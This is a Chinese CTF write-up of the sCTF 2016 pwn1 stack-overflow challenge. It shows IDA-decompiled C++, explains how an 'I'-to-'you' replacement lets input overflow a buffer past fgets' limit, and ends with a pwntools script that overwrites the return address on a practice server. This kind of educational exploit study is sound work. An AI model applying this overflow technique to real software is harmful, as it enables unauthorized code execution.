栈溢出-sCTF 2016 q1-pwn1

int vuln()
{
  int v0; // ST08_4
  const char *v1; // eax
  char s; // [esp+1Ch] [ebp-3Ch]
  char v4; // [esp+3Ch] [ebp-1Ch]
  char v5; // [esp+40h] [ebp-18h]
  char v6; // [esp+47h] [ebp-11h]
  char v7; // [esp+48h] [ebp-10h]
  char v8; // [esp+4Fh] [ebp-9h]

  printf("Tell me something about yourself: ");
  fgets(&s, 32, edata);
  std::string::operator=(&input, &s);
  std::allocator<char>::allocator(&v6);
  std::string::string(&v5, "you", &v6);
  std::allocator<char>::allocator(&v8);
  std::string::string(&v7, "I", &v8);
  replace((std::string *)&v4, (std::string *)&input, (std::string *)&v7);
  std::string::operator=(&input, &v4, v0, &v5);
  std::string::~string((std::string *)&v4);
  std::string::~string((std::string *)&v7);
  std::allocator<char>::~allocator(&v8);
  std::string::~string((std::string *)&v5);
  std::allocator<char>::~allocator(&v6);
  v1 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(&s, v1);
  return printf("So, %s
", &s);
}

打开IDA，观察反汇编代码，发现只有第13行，存在输入的地方。也就是fgets，但是这个函数限制了输入的长度，即32，也就是说最大只能输入32个字节的数据。

第14-26行是一些晦涩的C++类型的代码。我在一开始并没有搞懂这一连串代码是什么作用。

在第27行，存在strcpy，这个函数是典型的危险溢出函数。因为它向目标地址拷贝数据是不限制长度的。

 观察IDA可以发现，存在get_flag函数，作为一道简单的栈溢出题目，就是要覆盖返回地址，来转向这个get_flag函数了。

 但是输入的数据到返回地址的栈帧有3C+4(64)个字节，而fgets函数最多只能输入32个字节的数据，因此正常的填充数据，是无法做到覆盖掉返回地址的那个栈帧的。

然后再观察这几行代码，有replace，也许就是把you和I进行替换的。

 实际打开文件操作一下，程序确实把输入的I，替换成了you

通过以上分析，就能够写出脚本了。64/3=21余1，再加上4个字节的地址，总共只需要26个字节，26<32，因此就成功的绕过了fgets的限制了。

from pwn import *

#io=process('./pwn1')
io=remote('node3.buuoj.cn',25554)
payload=b'I'*21+b'A'+p32(0x08048F0D)
io.sendline(payload)
print(io.recv())